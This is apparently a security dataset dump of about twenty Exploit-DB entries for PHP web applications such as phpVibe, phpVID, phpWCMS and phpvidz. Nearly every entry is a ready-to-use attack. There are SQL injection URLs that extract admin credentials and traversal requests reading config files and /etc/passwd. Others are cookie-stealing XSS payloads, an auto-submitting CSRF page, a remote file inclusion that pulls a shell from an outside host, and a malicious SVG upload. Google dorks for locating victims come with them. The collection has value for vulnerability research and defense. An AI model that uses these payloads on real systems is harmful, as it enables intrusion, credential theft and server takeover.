deardaniel/secdata-raw huggingface dataset:
Exploit-DB #37595
Description: phpVibe - Arbitrary File Disclosure
Type: webapps
Platform: php
Date: 2015-07-13
Author: ali ahmady

Exploit:
## In The Name Of ALLAH ##
# Exploit Title: phpVibe ALL versions LFD vulnerability
# Google Dork: "powered by phpvibe"
# Date: 2015/07/13 (july 13th)
# Exploit Author: ali ahmady -- Iranian Security Researcher (snip3r_ir[at]hotmail.com)
# Vendor Homepage: http://www.phpvibe.com/
# Software Link: http://get.phpvibe.com/
# Version: All versions
# Tested on: linux
# greetings : VIRkid, b0x, phantom_x, Ch3rn0by1 


stream.php
====================================
$token = htmlspecialchars(base64_decode(base64_decode($_GET["file"])));

file parameter has no validation and sanitization!
exploition can be performed by adding "@@media" to the file name and base64 it two times as below (no registration needed):

http://domain.tld/stream.php?file=../vibe_config.php@@media ==> http://domain.tld/stream.php?file=TGk0dmRtbGlaVjlqYjI1bWFXY3VjR2h3UUVCdFpXUnBZUT09

=====================================
Exploit-DB #38630
Description: phpVibe 3.1 - Information Disclosure / Remote File Inclusion
Type: webapps
Platform: php
Date: 2013-07-06
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/61026/info

phpVibe is prone to an information-disclosure vulnerability and multiple remote file-include vulnerabilities.

An attacker can exploit these issues to obtain potentially sensitive information or execute malicious PHP code in the context of the web server process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible.

phpVibe 3.1 is vulnerable; other versions may also be affected. 

http://www.example.com/phpVibe/index.php?com_handler=[EV!L]
http://www.example.com/phpVibe/app/classes/language.php?LANGUAGE_DIR=[EV!L]
http://www.example.com/phpVibe/app/classes/language.php?lang=[EV!L]
http://www.example.com/setup/application/views/displays/modules/backups/
Exploit-DB #37659
Description: phpVibe < 4.20 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2015-07-20
Author: Filippos Mastrogiannis

Exploit:
# phpVibe < 4.20 Stored XSS

# Vendor Homepage: http://www.phpvibe.com
# Affected Versions: prior to 4.20

# Discovered by Filippos Mastrogiannis
# Twitter: @filipposmastro
# LinkedIn: https://www.linkedin.com/pub/filippos-mastrogiannis/68/132/177

-- Description --

This stored XSS vulnerability allows any logged in user
to inject malicious code in the comments section:
e.g. "><body onLoad=confirm("XSS")>

The vulnerability exists because the user input is not properly sanitized
and this can lead to malicious code injection that will be executed on the
target’s browser

-- Proof of Concept --

1. The attacker posts a new comment which contains our payload:
"><body onLoad=confirm("XSS")>

2. The stored XSS can be triggered when any user visits the link of the
uploaded content

-- Solution --

The vendor has fixed the issue in the version 4.21
Exploit-DB #4153
Description: PHPVID 0.9.9 - 'categories_type.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-07-06
Author: t0pP8uZz

Exploit:
--==+================================================================================+==--
--==+                       phpVID SQL Injection Vulnerbilitys                 +==--
--==+================================================================================+==--



AUTHOR: t0pP8uZz & xprog
SITE: http://www.vastal.com/
DORK: browse_videos.php?


DESCRIPTION:
pull out multiple admin/users at the same time.


EXPLOITS:
http://www.server.com/categories_type.php?cat=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,concat(admin_user,0x3a,admin_password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35/**/FROM/**/admin_users/*
http://www.server.com/categories_type.php?cat=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35/**/FROM/**/members/*



NOTE/TIP:
administrator login is at /admin/


GREETZ: milw0rm.com, H4CKY0u.org, G0t-Root.net !


--==+================================================================================+==--
--==+                       phpVID SQL Injection Vulnerbilitys                 +==--
--==+================================================================================+==--

# milw0rm.com [2007-07-06]
Exploit-DB #6422
Description: PHPVID 1.1 - Cross-Site Scripting / SQL Injection
Type: webapps
Platform: php
Date: 2008-09-10
Author: r45c4l

Exploit:
################################################################ 
#       .___             __          _______       .___        # 
#     __| _/____ _______|  | __ ____ \   _  \    __| _/____    # 
#    / __ |\__  \\_  __ \  |/ // ___\/  /_\  \  / __ |/ __ \   # 
#   / /_/ | / __ \|  | \/    <\  \___\  \_/   \/ /_/ \  ___/   # 
#   \____ |(______/__|  |__|_ \\_____>\_____  /\_____|\____\   # 
#        \/                  \/             \/                 # 
#                   ___________   ______  _  __                # 
#                 _/ ___\_  __ \_/ __ \ \/ \/ /                # 
#                 \  \___|  | \/\  ___/\     /                 # 
#                  \___  >__|    \___  >\/\_/                  # 
#      est.2007        \/            \/   forum.darkc0de.com   # 
################################################################ 
# --d3hydr8 -rsauron-baltazar -sinner_01 -C1c4Tr1Z - beenu     # 
#  ---QKrun1x-P47tr1ck - FeDeReR -MAGE -JeTFyrE                #
#                   and all darkc0de members                ---# 
################################################################ 
# 
# Author: r45c4l 
# 
# Home  : www.darkc0de.com 
# 
# Email : r45c4l@hotmail.com 
# 
# Share the c0de! 
# 
################################################################ 
# 
# Title: phpVID 1.1 The video sharing script! Multiple Vulnerabilities
#
# Vendor: http://www.vastal.com/phpvid-the-video-sharing-software.html
# Vulnerable Version: 1.1
# 
###########################################################
#
# d0rk:Powered By Vastal I-Tech's phpVID. 
# 
# 
###########################################################
 
     Vulnerabilities

     Blind SQL Injection in "groups.php" in the "cat" parameter.
     Cross Site Scripting in "search_results.php"
  
     
     POC:  
	http://www.site.com/groups.php?type=&&cat=4+and+substring(@@version,1,1)=4 
	http://www.site.com/search_results.php?query=[XSS] 

     
     Live Demo: 
	http://www.phpvid.com/groups.php?type=&&cat=4+and+substring(@@version,1,1)=4
	http://www.phpvid.com/search_results.php?query=<script>alert(0);</script>


###########################################################
#
#  Bug discovered : 10 Sep.2008
###########################################################

# milw0rm.com [2008-09-10]
Exploit-DB #27519
Description: PHPVID 1.2.3 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2013-08-12
Author: 3spi0n

Exploit:
##################################################################################
  _____                 _       _   _                _____           
 |  __ \               | |     | | (_)              / ____|          
 | |__) |_____   _____ | |_   _| |_ _  ___  _ __   | (___   ___  ___ 
 |  _  // _ \ \ / / _ \| | | | | __| |/ _ \| '_ \   \___ \ / _ \/ __|
 | | \ \  __/\ V / (_) | | |_| | |_| | (_) | | | |  ____) |  __/ (__ 
 |_|  \_\___| \_/ \___/|_|\__,_|\__|_|\___/|_| |_| |_____/ \___|\___|
                                                                                                                                        
##################################################################################																
PhpVID Script, Multiple Vulnerabilities
Product Page: http://www.vastal.com/phpvid-the-video-sharing-software.html

Author(Pentester): 3spi0n
On Web: RevolutionSec.Com - GraySecure.Org
On Social: Twitter.Com/eyyamgudeer
##################################################################################

[1] SQL Injection Vulnerabilities on Demo Site

[+] (browse_videos.php, n Param)
>>> http://server//browse_videos.php?cat=&n='1

[+] (groups.php, cat Param)
>>> http://server/groups.php?cat='1

[+] (members.php, n Param)
>>> http://server/members.php?browse=recent&n='1

[2] XSS Vulnerability on Demo Site

[+] (browse_videos.php, n Param)
>>> http://server/browse_videos.php?cat=&n=1'<ScRiPt >prompt(959580)</ScRiPt>

[+] (groups.php, cat Param)
>>> http://server//groups.php?cat=1'<ScRiPt >prompt(987925)</ScRiPt>

[+] (search_results.php.php, query Param)
>>> http://server//search_results.php?query=<ScRiPt >prompt(931776)</ScRiPt>

[3] CRLF Injection Vulnerability on Demo Site
>>> http://server/search_results.php?query=<marquee><h1>come to dance! <br>by, 3spi0n</h1></marquee>
Exploit-DB #36567
Description: phpVideoPro 0.8.x/0.9.7 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2012-01-16
Author: Stefan Schurtz

Exploit:
source: https://www.securityfocus.com/bid/51428/info

phpVideoPro is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

phpVideoPro 0.9.7 is vulnerable; prior versions may also be affected. 

http://www.example.com/phpvideopro-0.9.7/help/index.php?topic=&#039;"</script><script>alert(document.cookie)</script>
http://www.example.com/phpvideopro-0.9.7/login/"><script>alert(document.cookie)</script><"
http://www.example.com/phpvideopro-0.9.7/configure.php/"><script>alert(document.cookie)</script><"
http://www.example.com/phpvideopro-0.9.7/medialist.php/"><script>alert(document.cookie)</script><"
http://www.example.com/phpvideopro-0.9.7/setfilter.php/"><script>alert(document.cookie)</script><"
http://www.example.com/phpvideopro-0.9.7/search.php/"><script>alert(document.cookie)</script><"
http://www.example.com/phpvideopro-0.9.7/listgen.php/"><script>alert(document.cookie)</script><"
http://www.example.com/phpvideopro-0.9.7/label.php/"><script>alert(document.cookie)</script><"
Exploit-DB #15606
Description: phpvidz 0.9.5 - Administrative Credentials Disclosure
Type: webapps
Platform: php
Date: 2010-11-24
Author: Michael Brooks

Exploit:
Researcher: Michael Brooks
Affecting: phpvidz 0.9.5
Vulnerability: Administrative Credentials Disclosure
Vendor's Homepage: http://sourceforge.net/projects/phpvidz/

phpvidz does not use a SQL database. Instead it uses a system of flat
files to maintain application state. The administrative password is
stored within the following file and is included during runtime.
Because this file has a .inc extension it is viewable by the attacker.

To exploit this issue visit this url:
http://localhost/phpvidz_0.9.5/includes/init.inc
By default the password is the following constant:
define ('ADMINPASSWORD' , '0000' );
This password can be used to login here (A username is not required):
http://localhost/phpvidz_0.9.5/admin.php
Exploit-DB #24960
Description: phpVms Virtual Airline Administration 2.1.934/2.1.935 - SQL Injection
Type: webapps
Platform: php
Date: 2013-04-15
Author: NoGe

Exploit:
=============================================================================================================


  [o] phpVMS Virtual Airline Administration <= SQL Injection Vulnerability

       Software : phpVMS Virtual Airline Administration
       Version  : 2.1.934 & 2.1.935
       Vendor   : http://www.phpvms.net
       Author   : NoGe
       Contact  : noge[dot]code[at]gmail[dot]com
       Desc     : phpVMS is the most popular, free, virtual airline software,
		  with support for various ACARS applications (kACARS, FSACARS, XAcars, FS Flight Keeper, and FSPassengers),
		  AJAX-driven administration panel, complete with financial reports, schedule management and
		  various other features designed for realistic operation of your virtual airline.


=============================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php/PopUpNews/popupnewsitem/?itemid=[SQLi]


=============================================================================================================


  [o] PoC

       http://localhost/path/index.php/PopUpNews/popupnewsitem/?itemid=123+union+select+1,version(),database(),4,user()--


=============================================================================================================


  [o] Greetz

       Vrs-hCk OoN_BoY Paman zxvf s4va Angela Zhang stardustmemory
       aJe kaka11 matthews wishnusakti inc0mp13te martfella
       pizzyroot Genex H312Y noname tukulesto }^-^{


=============================================================================================================


  [o] April 15 2013 - Papua, Indonesia
Exploit-DB #2163
Description: PHPWCMS 1.1-RC4 - 'spaw' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-10
Author: Morgan

Exploit:
PhpwCMS 1.2.6 <= Multiple Remote file inclusion vulnerabilities

Discovered by :

|\/| _ ._ _  _.._
|  |(_)| (_|(_|| |
          _|



Vuln In :
include $spaw_root.'class/lang.class.php';

Affected Files :
include/inc_ext/spaw/dialogs/table.php
include/inc_ext/spaw/dialogs/a.php
include/inc_ext/spaw/dialogs/colorpicker.php
include/inc_ext/spaw/dialogs/confirm.php
include/inc_ext/spaw/dialogs/img.php
include/inc_ext/spaw/dialogs/img_library.php
include/inc_ext/spaw/dialogs/td.php

Vendor Website: http://www.phpwcms.de/

PoC:
http://server/include/inc_ext/spaw/dialogs/table.php?spaw_root=http://ehmorgan.net/shell.dat?

Google Dork:

inurl:"phpwcms/index.php?id="

Visit us :

www.ehmorgan.net
irc.gigachat.net
#Morgan

# milw0rm.com [2006-08-10]
Exploit-DB #26513
Description: PHPWCMS 1.2.5 -DEV - 'imgdir' Traversal Arbitrary File Access
Type: webapps
Platform: php
Date: 2005-11-15
Author: Stefan Lochbihler

Exploit:
source: https://www.securityfocus.com/bid/15436/info
 
phpWCMS is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to obtain sensitive information that may help with further attacks on the affected computer. 

http://www.example.com/phpwcms/img/random_image.php?imgdir=../../../etc/
Exploit-DB #26512
Description: PHPWCMS 1.2.5 -DEV - 'login.php?form_lang' Traversal Arbitrary File Access
Type: webapps
Platform: php
Date: 2005-11-15
Author: Stefan Lochbihler

Exploit:
source: https://www.securityfocus.com/bid/15436/info

phpWCMS is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to obtain sensitive information that may help with further attacks on the affected computer. 

http://www.example.com/phpwcms/login.php?form_lang=../../../../../../../../etc/passwd%00
Exploit-DB #26514
Description: PHPWCMS 1.2.5 -DEV - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-11-15
Author: Stefan Lochbihler

Exploit:
source: https://www.securityfocus.com/bid/15440/info

phpwcms is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/phpwcms/include/inc_act/act_newsletter.php?i=V:target@example.com:<script>alert(document.cookie)</script>)
http://www.example.com/phpwcms/include/inc_act/act_newsletter.php?text=<script>alert(document.cookie)</script>
Exploit-DB #34322
Description: PHPWCMS 1.4.5 - 'PHPwcms.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-07-15
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/41720/info

phpwcms is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

phpwcms 1.4.5 is vulnerable; other versions may also be affected. 

http:/www.example.com/phpwcms.php?do=modules&module=calendar&calendardate=8-2010%22+onmouseover=alert%2834%29+style=position:absolute;width:100%;height:100%;left:0;top:0;+%22
Exploit-DB #13960
Description: PHPWCMS 1.4.5 r398 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2010-06-21
Author: Jeremiah Talamantes

Exploit:
<?php
	/*
		Exploit Title: PHPWCMS Cross-Site Request Forgery Vulnerability
		Date: 06/16/2010
		Author: Jeremiah Talamantes
		Software Link: http://phpwcms.googlecode.com/files/phpwcms_r398.zip
		Version: 1.4.5 r398
		Tested on: WinXP SP2 (EN) on WAMP 2.0
		CVE: N/A
		
		Jeremiah Talamantes
		RedTeam Security (RedTeam Labs)
		http://www.redteamsecure.com/labs
		
		Description:
		A vulnerability has been identified in PHPWCMS, which could be exploited to conduct cross-site request forgery attacks.
		This issue is caused due to input validation errors in the administrative interface when processing HTTP requests, 
		which could be exploited by attackers to manipulate certain data by tricking an administrator into visiting a malicious web page.
	*/
?>
<html>
<head>
	<title>PHPWCMS 1.4.5 r389 Cross Site Request Forgery</title>
	<script type="text/javascript">
		function myfunc () {
			var frm = document.getElementById("csrf");
			frm.submit();
		}
		window.onload = myfunc;
	</script>
</head>
<body>
	<!-- Modify the form action parameter to suit your installation -->
	<form id="csrf" name="csrf" method="POST" action="http://localhost/phpwcms/phpwcms.php?do=files&f=0">
		<input type="hidden" name="dir_newname" value="Game Over!" />
		<input type="hidden" name="dir_gallery" value="0" />
		<input type="hidden" name="dir_sort" value="0" />
		<input type="hidden" name="dir_aktiv" value="1" />
		<input type="hidden" name="dir_public" value="1" />
		<input type="hidden" name="dir_pid" value="0" />
		<input type="hidden" name="dir_aktion" value="1" />
	</form>
</body>
</html>
Exploit-DB #50363
Description: Phpwcms 1.9.30 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2021-10-01
Author: Okan Kurtulus

Exploit:
# Exploit Title: Phpwcms 1.9.30 - Arbitrary File Upload
# Date: 30/9/2021
# Exploit Author: Okan Kurtulus | okankurtulus.com.tr
# Software Link: http://www.phpwcms.org/
# Version: 1.9.30
# Tested on: Ubuntu 16.04

Steps:

1-) You need to login to the system.
http://target.com/phpwcms/login.php

2-) Creating payload with SVG extension: payload.svg

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <rect width="300" height="100" style="fill:rgb(255,0,0);stroke-width:3;stroke:rgb(0,0,0)" />
   <script type="text/javascript">
      alert("XSS!");
   </script>
</svg>


3-) Go to the following link and upload the payload:
http://target.com/phpwcms/phpwcms.php?csrftoken=b72d02a26550b9877616c851aa6271be&do=files&p=8

From the menu:

file -> multiple file upload -> Select files or drop here

4-) After uploading payload, call it from the link below.

http://192.168.1.112/phpwcms/upload/
Exploit-DB #23381
Description: PHPWebFileManager 2.0 - 'index.php' Directory Traversal
Type: webapps
Platform: php
Date: 2003-11-17
Author: RusH security team

Exploit:
source: https://www.securityfocus.com/bid/9053/info

It has been reported that phpWebFileManager may be prone to a directory traversal vulnerability that may allow an attacker to gain access to sensitive information. The issue presents itself due to insufficient sanitization of user-supplied input. An attacker may traverse outside the server root directory by using '../' character sequences.

phpWebFileManager version 2.0.0 is reported to be prone to this issue, however other versions may be affected as well. 

http://www.example.com/phpwebfilemgr/index.php?f=../../../
Exploit-DB #27735
Description: PHPWebFTP 2.3 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-04-25
Author: arko.dhar

Exploit:
source: https://www.securityfocus.com/bid/17688/info

phpWebFTP is prone to multiple cross-site scripting vulnerabilities. These issues are due to the application's failure to properly sanitize user-supplied input using the HTTP 'POST' method when submitting a malicious URI. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.anysite.com/PhpWebFtp/index.php?server=1&port=<script>var%20sub_variable=11233;alert(sub_variable);</script>&goPassive=on&user=1&[CREDENTIAL_REDACTED]=bulgarian server=<script>alert(&#039;&#039;as-208395078&#039;);</script>&port=21&goPassive=on&user=1&[CREDENTIAL_REDACTED]=bulgarian 
server=1&port=21&goPassive=on&user=<script>alert(&#039;as-453627&#039;);</script>&[CREDENTIAL_REDACTED]=bulgarian
server=><script>alert(&#039;as-208395078&#039;);</script>&port=21&goPassive=on&user=1&[CREDENTIAL_REDACTED]=bulgarian
server=1&port=21&goPassive=on&user=&#039;><script>alert(&#039;as-208395078&#039;);</script>&[CREDENTIAL_REDACTED]=bulgarian
server=&lt;/textarea&gt;<script>alert(&#039;[PII_REDACTED]&#039;);</script>&port=21&goPassive=on&user=1&[CREDENTIAL_REDACTED]=bulgarian
server=1&port=21&goPassive=on&user=<script>var%20test_variable=878173184;
alert(test_variable);</script>&[CREDENTIAL_REDACTED]=bulgarian
Exploit-DB #6436
Description: PHPWebGallery 1.3.4 - Blind SQL Injection (1)
Type: webapps
Platform: php
Date: 2008-09-11
Author: Stack

Exploit:
----------------------------------------------------------------
Script : PhpWebGallery 1.3.4
Type : Vulnerabilities (blind sql injection)
Author : Stack
Google Dork : inurl:"picture.php?cat=" "Powered by PhpWebGallery 1.3.4"
----------------------------------------------------------------
Download From : http://puzzle.dl.sourceforge.net/sourceforge/phpwebgallery/phpwebgallery-1.3.4.tar.bz2
----------------------------------------------------------------
waiting the demo exploit
----------------------------------------------------------------
Exploit :
http://site.il/phpwebgallery/picture.php?cat=[Real id]&image_id=[Real id]+and+substring(@@version,1,1)=5
Example :
http://site.il/phpwebgallery/picture.php?cat=3&image_id=76+and+substring(@@version,1,1)=5

# milw0rm.com [2008-09-11]